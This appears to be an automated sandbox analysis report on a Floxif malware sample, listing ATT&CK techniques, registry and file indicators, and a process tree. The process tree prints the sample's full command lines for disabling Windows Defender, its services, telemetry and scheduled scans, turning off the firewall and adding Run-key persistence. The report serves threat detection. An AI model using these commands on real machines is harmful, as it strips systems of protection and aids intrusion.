floxif | 09d0091bc0b4c65936e61195b2de83969f3be69bf404a9e9a7fe98148406bdba

Windows Service

Disable or Modify Tools

T1562.001

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Key created	\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable = "1"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableIOAVProtection = "1"	reg.exe

Modifies security service 2 TTPs 1 IoCs

evasion

Modify Registry

Windows Service

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\WinDefend\Start = "4"	reg.exe

Modifies visiblity of hidden/system files in Explorer 2 TTPs 2 IoCs

evasion

Hidden Files and Directories

T1564.001

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-1846800975-3917212583-2893086201-1000\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\ShowSuperHidden = "0"	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1846800975-3917212583-2893086201-1000\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\ShowSuperHidden = "0"	explorer.exe

Detects Floxif payload 1 IoCs

backdoor

resource	yara_rule
behavioral1/files/0x0008000000016dd1-13.dat	floxif

Modifies Windows Firewall 2 TTPs 1 IoCs

evasion

Windows Service

Disable or Modify System Firewall

T1562.004

pid	Process
2432	netsh.exe

ACProtect 1.3x - 1.4x DLL software 1 IoCs

Detects file using ACProtect software.

resource	yara_rule
behavioral1/files/0x0008000000016dd1-13.dat	acprotect

Executes dropped EXE 6 IoCs

pid	Process
2744	09d0091bc0b4c65936e61195b2de83969f3be69bf404a9e9a7fe98148406bdba.exe
2680	icsys.icn.exe
2860	explorer.exe
2564	spoolsv.exe
2980	svchost.exe
1448	spoolsv.exe

Loads dropped DLL 7 IoCs

pid	Process
2196	09d0091bc0b4c65936e61195b2de83969f3be69bf404a9e9a7fe98148406bdba.exe
2744	09d0091bc0b4c65936e61195b2de83969f3be69bf404a9e9a7fe98148406bdba.exe
2196	09d0091bc0b4c65936e61195b2de83969f3be69bf404a9e9a7fe98148406bdba.exe
2680	icsys.icn.exe
2860	explorer.exe
2564	spoolsv.exe
2980	svchost.exe

Adds Run key to start application 2 TTPs 4 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce\Explorer = "c:\\windows\\resources\\themes\\explorer.exe RO"	svchost.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce\Svchost = "c:\\windows\\resources\\svchost.exe RO"	svchost.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce\Explorer = "c:\\windows\\resources\\themes\\explorer.exe RO"	explorer.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce\Svchost = "c:\\windows\\resources\\svchost.exe RO"	explorer.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 16 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2424	powershell.exe
3016	powershell.exe
2592	powershell.exe
1328	powershell.exe
2828	powershell.exe
2260	powershell.exe
1824	powershell.exe
2728	powershell.exe
2784	powershell.exe
2820	powershell.exe
2148	powershell.exe
1004	powershell.exe
2160	powershell.exe
2988	powershell.exe
2916	powershell.exe
1768	powershell.exe

Enumerates connected drives 3 TTPs 1 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\e:	09d0091bc0b4c65936e61195b2de83969f3be69bf404a9e9a7fe98148406bdba.exe

Modifies Security services 2 TTPs 4 IoCs

Modifies the startup behavior of a security service.

defense_evasion

Modify Registry

persistence privilege_escalation

Impair Defenses

T1562

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\WdBoot\Start = "4"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\WdFilter\Start = "4"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\WdNisDrv\Start = "4"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\WdNisSvc\Start = "4"	reg.exe

Drops file in System32 directory 2 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\explorer.exe	svchost.exe
File opened for modification	C:\Windows\SysWOW64\explorer.exe	explorer.exe

UPX packed file 4 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/files/0x0008000000016dd1-13.dat	upx
behavioral1/memory/2744-15-0x0000000010000000-0x0000000010030000-memory.dmp	upx
behavioral1/memory/2744-63-0x0000000010000000-0x0000000010030000-memory.dmp	upx
behavioral1/memory/2744-170-0x0000000010000000-0x0000000010030000-memory.dmp	upx

Drops file in Program Files directory 2 IoCs

description	ioc	Process
File created	\??\c:\program files\common files\system\symsrv.dll.000	09d0091bc0b4c65936e61195b2de83969f3be69bf404a9e9a7fe98148406bdba.exe
File created	C:\Program Files\Common Files\System\symsrv.dll	09d0091bc0b4c65936e61195b2de83969f3be69bf404a9e9a7fe98148406bdba.exe

Drops file in Windows directory 5 IoCs

description	ioc	Process
File opened for modification	\??\c:\windows\resources\svchost.exe	spoolsv.exe
File opened for modification	C:\Windows\Resources\tjud.exe	explorer.exe
File opened for modification	C:\Windows\Resources\Themes\icsys.icn.exe	09d0091bc0b4c65936e61195b2de83969f3be69bf404a9e9a7fe98148406bdba.exe
File opened for modification	\??\c:\windows\resources\themes\explorer.exe	icsys.icn.exe
File opened for modification	\??\c:\windows\resources\spoolsv.exe	explorer.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

Netsh Helper DLL

T1546.007

description	ioc	Process
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

System Location Discovery: System Language Discovery 1 TTPs 10 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	09d0091bc0b4c65936e61195b2de83969f3be69bf404a9e9a7fe98148406bdba.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	spoolsv.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	svchost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	09d0091bc0b4c65936e61195b2de83969f3be69bf404a9e9a7fe98148406bdba.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icsys.icn.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	spoolsv.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
684	schtasks.exe
916	schtasks.exe
2676	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2196	09d0091bc0b4c65936e61195b2de83969f3be69bf404a9e9a7fe98148406bdba.exe
2196	09d0091bc0b4c65936e61195b2de83969f3be69bf404a9e9a7fe98148406bdba.exe
2196	09d0091bc0b4c65936e61195b2de83969f3be69bf404a9e9a7fe98148406bdba.exe
2196	09d0091bc0b4c65936e61195b2de83969f3be69bf404a9e9a7fe98148406bdba.exe
2196	09d0091bc0b4c65936e61195b2de83969f3be69bf404a9e9a7fe98148406bdba.exe
2196	09d0091bc0b4c65936e61195b2de83969f3be69bf404a9e9a7fe98148406bdba.exe
2196	09d0091bc0b4c65936e61195b2de83969f3be69bf404a9e9a7fe98148406bdba.exe
2196	09d0091bc0b4c65936e61195b2de83969f3be69bf404a9e9a7fe98148406bdba.exe
2196	09d0091bc0b4c65936e61195b2de83969f3be69bf404a9e9a7fe98148406bdba.exe
2196	09d0091bc0b4c65936e61195b2de83969f3be69bf404a9e9a7fe98148406bdba.exe
2196	09d0091bc0b4c65936e61195b2de83969f3be69bf404a9e9a7fe98148406bdba.exe
2196	09d0091bc0b4c65936e61195b2de83969f3be69bf404a9e9a7fe98148406bdba.exe
2196	09d0091bc0b4c65936e61195b2de83969f3be69bf404a9e9a7fe98148406bdba.exe
2196	09d0091bc0b4c65936e61195b2de83969f3be69bf404a9e9a7fe98148406bdba.exe
2196	09d0091bc0b4c65936e61195b2de83969f3be69bf404a9e9a7fe98148406bdba.exe
2196	09d0091bc0b4c65936e61195b2de83969f3be69bf404a9e9a7fe98148406bdba.exe
2680	icsys.icn.exe
2680	icsys.icn.exe
2680	icsys.icn.exe
2680	icsys.icn.exe
2680	icsys.icn.exe
2680	icsys.icn.exe
2680	icsys.icn.exe
2680	icsys.icn.exe
2680	icsys.icn.exe
2680	icsys.icn.exe
2680	icsys.icn.exe
2680	icsys.icn.exe
2680	icsys.icn.exe
2680	icsys.icn.exe
2680	icsys.icn.exe
2680	icsys.icn.exe
2680	icsys.icn.exe
2860	explorer.exe
2860	explorer.exe
2860	explorer.exe
2860	explorer.exe
2860	explorer.exe
2860	explorer.exe
2860	explorer.exe
2860	explorer.exe
2860	explorer.exe
2860	explorer.exe
2860	explorer.exe
2860	explorer.exe
2860	explorer.exe
2860	explorer.exe
2860	explorer.exe
2860	explorer.exe
2980	svchost.exe
2980	svchost.exe
2980	svchost.exe
2980	svchost.exe
2980	svchost.exe
2980	svchost.exe
2980	svchost.exe
2980	svchost.exe
2980	svchost.exe
2980	svchost.exe
2980	svchost.exe
2980	svchost.exe
2980	svchost.exe
2980	svchost.exe
2980	svchost.exe

Suspicious behavior: GetForegroundWindowSpam 2 IoCs

pid	Process
2860	explorer.exe
2980	svchost.exe

Suspicious use of AdjustPrivilegeToken 17 IoCs

description	pid	Process
Token: SeDebugPrivilege	2744	09d0091bc0b4c65936e61195b2de83969f3be69bf404a9e9a7fe98148406bdba.exe
Token: SeDebugPrivilege	2988	powershell.exe
Token: SeDebugPrivilege	1328	powershell.exe
Token: SeDebugPrivilege	2916	powershell.exe
Token: SeDebugPrivilege	2148	powershell.exe
Token: SeDebugPrivilege	1004	powershell.exe
Token: SeDebugPrivilege	2160	powershell.exe
Token: SeDebugPrivilege	1824	powershell.exe
Token: SeDebugPrivilege	2424	powershell.exe
Token: SeDebugPrivilege	1768	powershell.exe
Token: SeDebugPrivilege	2828	powershell.exe
Token: SeDebugPrivilege	3016	powershell.exe
Token: SeDebugPrivilege	2260	powershell.exe
Token: SeDebugPrivilege	2728	powershell.exe
Token: SeDebugPrivilege	2784	powershell.exe
Token: SeDebugPrivilege	2820	powershell.exe
Token: SeDebugPrivilege	2592	powershell.exe

Suspicious use of SetWindowsHookEx 12 IoCs

pid	Process
2196	09d0091bc0b4c65936e61195b2de83969f3be69bf404a9e9a7fe98148406bdba.exe
2196	09d0091bc0b4c65936e61195b2de83969f3be69bf404a9e9a7fe98148406bdba.exe
2680	icsys.icn.exe
2680	icsys.icn.exe
2860	explorer.exe
2860	explorer.exe
2564	spoolsv.exe
2564	spoolsv.exe
2980	svchost.exe
2980	svchost.exe
1448	spoolsv.exe
1448	spoolsv.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2196 wrote to memory of 2744	2196	09d0091bc0b4c65936e61195b2de83969f3be69bf404a9e9a7fe98148406bdba.exe	31
PID 2196 wrote to memory of 2744	2196	09d0091bc0b4c65936e61195b2de83969f3be69bf404a9e9a7fe98148406bdba.exe	31
PID 2196 wrote to memory of 2744	2196	09d0091bc0b4c65936e61195b2de83969f3be69bf404a9e9a7fe98148406bdba.exe	31
PID 2196 wrote to memory of 2744	2196	09d0091bc0b4c65936e61195b2de83969f3be69bf404a9e9a7fe98148406bdba.exe	31
PID 2196 wrote to memory of 2680	2196	09d0091bc0b4c65936e61195b2de83969f3be69bf404a9e9a7fe98148406bdba.exe	32
PID 2196 wrote to memory of 2680	2196	09d0091bc0b4c65936e61195b2de83969f3be69bf404a9e9a7fe98148406bdba.exe	32
PID 2196 wrote to memory of 2680	2196	09d0091bc0b4c65936e61195b2de83969f3be69bf404a9e9a7fe98148406bdba.exe	32
PID 2196 wrote to memory of 2680	2196	09d0091bc0b4c65936e61195b2de83969f3be69bf404a9e9a7fe98148406bdba.exe	32
PID 2744 wrote to memory of 2664	2744	09d0091bc0b4c65936e61195b2de83969f3be69bf404a9e9a7fe98148406bdba.exe	33
PID 2744 wrote to memory of 2664	2744	09d0091bc0b4c65936e61195b2de83969f3be69bf404a9e9a7fe98148406bdba.exe	33
PID 2744 wrote to memory of 2664	2744	09d0091bc0b4c65936e61195b2de83969f3be69bf404a9e9a7fe98148406bdba.exe	33
PID 2744 wrote to memory of 2664	2744	09d0091bc0b4c65936e61195b2de83969f3be69bf404a9e9a7fe98148406bdba.exe	33
PID 2680 wrote to memory of 2860	2680	icsys.icn.exe	34
PID 2680 wrote to memory of 2860	2680	icsys.icn.exe	34
PID 2680 wrote to memory of 2860	2680	icsys.icn.exe	34
PID 2680 wrote to memory of 2860	2680	icsys.icn.exe	34
PID 2860 wrote to memory of 2564	2860	explorer.exe	36
PID 2860 wrote to memory of 2564	2860	explorer.exe	36
PID 2860 wrote to memory of 2564	2860	explorer.exe	36
PID 2860 wrote to memory of 2564	2860	explorer.exe	36
PID 2664 wrote to memory of 2988	2664	cmd.exe	38
PID 2664 wrote to memory of 2988	2664	cmd.exe	38
PID 2664 wrote to memory of 2988	2664	cmd.exe	38
PID 2564 wrote to memory of 2980	2564	spoolsv.exe	37
PID 2564 wrote to memory of 2980	2564	spoolsv.exe	37
PID 2564 wrote to memory of 2980	2564	spoolsv.exe	37
PID 2564 wrote to memory of 2980	2564	spoolsv.exe	37
PID 2980 wrote to memory of 1448	2980	svchost.exe	39
PID 2980 wrote to memory of 1448	2980	svchost.exe	39
PID 2980 wrote to memory of 1448	2980	svchost.exe	39
PID 2980 wrote to memory of 1448	2980	svchost.exe	39
PID 2860 wrote to memory of 328	2860	explorer.exe	40
PID 2860 wrote to memory of 328	2860	explorer.exe	40
PID 2860 wrote to memory of 328	2860	explorer.exe	40
PID 2860 wrote to memory of 328	2860	explorer.exe	40
PID 2980 wrote to memory of 684	2980	svchost.exe	41
PID 2980 wrote to memory of 684	2980	svchost.exe	41
PID 2980 wrote to memory of 684	2980	svchost.exe	41
PID 2980 wrote to memory of 684	2980	svchost.exe	41
PID 2664 wrote to memory of 1328	2664	cmd.exe	43
PID 2664 wrote to memory of 1328	2664	cmd.exe	43
PID 2664 wrote to memory of 1328	2664	cmd.exe	43
PID 2664 wrote to memory of 2916	2664	cmd.exe	45
PID 2664 wrote to memory of 2916	2664	cmd.exe	45
PID 2664 wrote to memory of 2916	2664	cmd.exe	45
PID 2664 wrote to memory of 2148	2664	cmd.exe	46
PID 2664 wrote to memory of 2148	2664	cmd.exe	46
PID 2664 wrote to memory of 2148	2664	cmd.exe	46
PID 2664 wrote to memory of 1004	2664	cmd.exe	47
PID 2664 wrote to memory of 1004	2664	cmd.exe	47
PID 2664 wrote to memory of 1004	2664	cmd.exe	47
PID 2664 wrote to memory of 2160	2664	cmd.exe	48
PID 2664 wrote to memory of 2160	2664	cmd.exe	48
PID 2664 wrote to memory of 2160	2664	cmd.exe	48
PID 2664 wrote to memory of 1824	2664	cmd.exe	49
PID 2664 wrote to memory of 1824	2664	cmd.exe	49
PID 2664 wrote to memory of 1824	2664	cmd.exe	49
PID 2664 wrote to memory of 2424	2664	cmd.exe	50
PID 2664 wrote to memory of 2424	2664	cmd.exe	50
PID 2664 wrote to memory of 2424	2664	cmd.exe	50
PID 2664 wrote to memory of 1768	2664	cmd.exe	51
PID 2664 wrote to memory of 1768	2664	cmd.exe	51
PID 2664 wrote to memory of 1768	2664	cmd.exe	51
PID 2664 wrote to memory of 2828	2664	cmd.exe	53

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\09d0091bc0b4c65936e61195b2de83969f3be69bf404a9e9a7fe98148406bdba.exe
"C:\Users\Admin\AppData\Local\Temp\09d0091bc0b4c65936e61195b2de83969f3be69bf404a9e9a7fe98148406bdba.exe"
1⤵
- Loads dropped DLL
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2196
- \??\c:\users\admin\appdata\local\temp\09d0091bc0b4c65936e61195b2de83969f3be69bf404a9e9a7fe98148406bdba.exe
  c:\users\admin\appdata\local\temp\09d0091bc0b4c65936e61195b2de83969f3be69bf404a9e9a7fe98148406bdba.exe
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - Enumerates connected drives
  - Drops file in Program Files directory
  - System Location Discovery: System Language Discovery
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2744
- - C:\Windows\system32\cmd.exe
    "C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\E9B3.tmp\E9B4.tmp\E9B5.bat c:\users\admin\appdata\local\temp\09d0091bc0b4c65936e61195b2de83969f3be69bf404a9e9a7fe98148406bdba.exe "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2664
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -command "Set-MpPreference -DisableRealtimeMonitoring $true"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious use of AdjustPrivilegeToken
      PID:2988
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -command "Set-MpPreference -DisableBehaviorMonitoring $true"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious use of AdjustPrivilegeToken
      PID:1328
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -command "Set-MpPreference -DisableBlockAtFirstSeen $true"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious use of AdjustPrivilegeToken
      PID:2916
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -command "Set-MpPreference -DisableIOAVProtection $true"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious use of AdjustPrivilegeToken
      PID:2148
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -command "Set-MpPreference -DisablePrivacyMode $true"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious use of AdjustPrivilegeToken
      PID:1004
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -command "Set-MpPreference -SignatureDisableUpdateOnStartupWithoutEngine $true"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious use of AdjustPrivilegeToken
      PID:2160
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -command "Set-MpPreference -DisableArchiveScanning $true"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious use of AdjustPrivilegeToken
      PID:1824
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -command "Set-MpPreference -DisableIntrusionPreventionSystem $true"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious use of AdjustPrivilegeToken
      PID:2424
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -command "Set-MpPreference -DisableScriptScanning $true"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious use of AdjustPrivilegeToken
      PID:1768
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -command "Set-MpPreference -SubmitSamplesConsent 2"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious use of AdjustPrivilegeToken
      PID:2828
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -command "Set-MpPreference -MAPSReporting 0"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious use of AdjustPrivilegeToken
      PID:3016
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -command "Set-MpPreference -HighThreatDefaultAction 6 -Force"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious use of AdjustPrivilegeToken
      PID:2260
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -command "Set-MpPreference -ModerateThreatDefaultAction 6"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious use of AdjustPrivilegeToken
      PID:2728
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -command "Set-MpPreference -LowThreatDefaultAction 6"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious use of AdjustPrivilegeToken
      PID:2784
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -command "Set-MpPreference -SevereThreatDefaultAction 6"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious use of AdjustPrivilegeToken
      PID:2820
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -command "netsh advfirewall set allprofiles state off"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious use of AdjustPrivilegeToken
      PID:2592
    - - C:\Windows\system32\netsh.exe
        
        "C:\Windows\system32\netsh.exe" advfirewall set allprofiles state off
        5⤵
        Modifies Windows Firewall
        Event Triggered Execution: Netsh Helper DLL
        
        PID:2432
  - - C:\Windows\system32\reg.exe
      reg delete "HKLM\Software\Policies\Microsoft\Windows Defender" /f
      4⤵
      PID:2416
  - - C:\Windows\system32\reg.exe
      reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f
      4⤵
      PID:2064
  - - C:\Windows\system32\reg.exe
      reg add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiVirus" /t REG_DWORD /d "1" /f
      4⤵
      PID:2108
  - - C:\Windows\system32\reg.exe
      reg add "HKLM\Software\Policies\Microsoft\Windows Defender\MpEngine" /v "MpEnablePus" /t REG_DWORD /d "0" /f
      4⤵
      PID:2552
  - - C:\Windows\system32\reg.exe
      reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d "1" /f
      4⤵
      Modifies Windows Defender Real-time Protection settings
      PID:1404
  - - C:\Windows\system32\reg.exe
      reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableIOAVProtection" /t REG_DWORD /d "1" /f
      4⤵
      Modifies Windows Defender Real-time Protection settings
      PID:732
  - - C:\Windows\system32\reg.exe
      reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d "1" /f
      4⤵
      Modifies Windows Defender Real-time Protection settings
      PID:2156
  - - C:\Windows\system32\reg.exe
      reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d "1" /f
      4⤵
      Modifies Windows Defender Real-time Protection settings
      PID:2312
  - - C:\Windows\system32\reg.exe
      reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d "1" /f
      4⤵
      Modifies Windows Defender Real-time Protection settings
      PID:2780
  - - C:\Windows\system32\reg.exe
      reg add "HKLM\Software\Policies\Microsoft\Windows Defender\Reporting" /v "DisableEnhancedNotifications" /t REG_DWORD /d "1" /f
      4⤵
      PID:2088
  - - C:\Windows\system32\reg.exe
      reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "DisableBlockAtFirstSeen" /t REG_DWORD /d "1" /f
      4⤵
      PID:1792
  - - C:\Windows\system32\reg.exe
      reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SpynetReporting" /t REG_DWORD /d "0" /f
      4⤵
      PID:2644
  - - C:\Windows\system32\reg.exe
      reg add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SubmitSamplesConsent" /t REG_DWORD /d "2" /f
      4⤵
      PID:1952
  - - C:\Windows\system32\reg.exe
      reg add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderApiLogger" /v "Start" /t REG_DWORD /d "0" /f
      4⤵
      PID:2216
  - - C:\Windows\system32\reg.exe
      reg add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderAuditLogger" /v "Start" /t REG_DWORD /d "0" /f
      4⤵
      PID:2548
  - - C:\Windows\system32\schtasks.exe
      schtasks /Change /TN "Microsoft\Windows\ExploitGuard\ExploitGuard MDM policy Refresh" /Disable
      4⤵
      PID:2776
  - - C:\Windows\system32\schtasks.exe
      schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /Disable
      4⤵
      PID:2316
  - - C:\Windows\system32\schtasks.exe
      schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /Disable
      4⤵
      PID:2852
  - - C:\Windows\system32\schtasks.exe
      schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /Disable
      4⤵
      PID:264
  - - C:\Windows\system32\schtasks.exe
      schtasks /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Verification" /Disable
      4⤵
      PID:1724
  - - C:\Windows\system32\reg.exe
      reg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run" /v "SecurityHealth" /f
      4⤵
      PID:556
  - - C:\Windows\system32\reg.exe
      reg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "SecurityHealth" /f
      4⤵
      PID:2348
  - - C:\Windows\system32\reg.exe
      reg delete "HKCR\*\shellex\ContextMenuHandlers\EPP" /f
      4⤵
      PID:1936
  - - C:\Windows\system32\reg.exe
      reg delete "HKCR\Directory\shellex\ContextMenuHandlers\EPP" /f
      4⤵
      PID:1572
  - - C:\Windows\system32\reg.exe
      reg delete "HKCR\Drive\shellex\ContextMenuHandlers\EPP" /f
      4⤵
      PID:2404
  - - C:\Windows\system32\reg.exe
      reg add "HKLM\System\CurrentControlSet\Services\WdBoot" /v "Start" /t REG_DWORD /d "4" /f
      4⤵
      Modifies Security services
      PID:1860
  - - C:\Windows\system32\reg.exe
      reg add "HKLM\System\CurrentControlSet\Services\WdFilter" /v "Start" /t REG_DWORD /d "4" /f
      4⤵
      Modifies Security services
      PID:2928
  - - C:\Windows\system32\reg.exe
      reg add "HKLM\System\CurrentControlSet\Services\WdNisDrv" /v "Start" /t REG_DWORD /d "4" /f
      4⤵
      Modifies Security services
      PID:852
  - - C:\Windows\system32\reg.exe
      reg add "HKLM\System\CurrentControlSet\Services\WdNisSvc" /v "Start" /t REG_DWORD /d "4" /f
      4⤵
      Modifies Security services
      PID:2364
  - - C:\Windows\system32\reg.exe
      reg add "HKLM\System\CurrentControlSet\Services\WinDefend" /v "Start" /t REG_DWORD /d "4" /f
      4⤵
      Modifies security service
      PID:2908
- C:\Windows\Resources\Themes\icsys.icn.exe
  C:\Windows\Resources\Themes\icsys.icn.exe
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - Drops file in Windows directory
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:2680
- - \??\c:\windows\resources\themes\explorer.exe
    c:\windows\resources\themes\explorer.exe
    3⤵
    - Modifies visiblity of hidden/system files in Explorer
    - Executes dropped EXE
